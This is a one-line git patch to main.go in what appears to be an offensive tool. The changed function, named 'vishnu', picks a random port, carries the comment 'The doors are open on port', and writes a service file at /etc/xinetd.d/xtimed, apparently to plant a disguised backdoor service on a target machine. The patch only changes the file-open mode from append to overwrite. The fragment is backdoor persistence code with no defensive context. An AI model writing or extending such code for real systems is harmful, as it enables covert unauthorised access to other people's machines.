From 963db705d9755effc330134a237bf01680ca80d9 Mon Sep 17 00:00:00 2001 From: Pin Date: Sun, 3 Apr 2022 23:25:18 -0400 Subject: [PATCH] changed append to write --- main.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.go b/main.go index 7a7b082..0a7a15b 100644 --- a/main.go +++ b/main.go @@ -92,7 +92,7 @@ func vishnu(ip string, tInfo *targetInfo) { randomPort := rand.Intn(65535-100) + 100 // println("The doors are open on port ", strconv.Itoa(randomPort)) // Append to a file /etc/inetd.conf - fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600) + fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_WRONLY|os.O_CREATE, 0600) errorPrinter(err) defer fd.Close()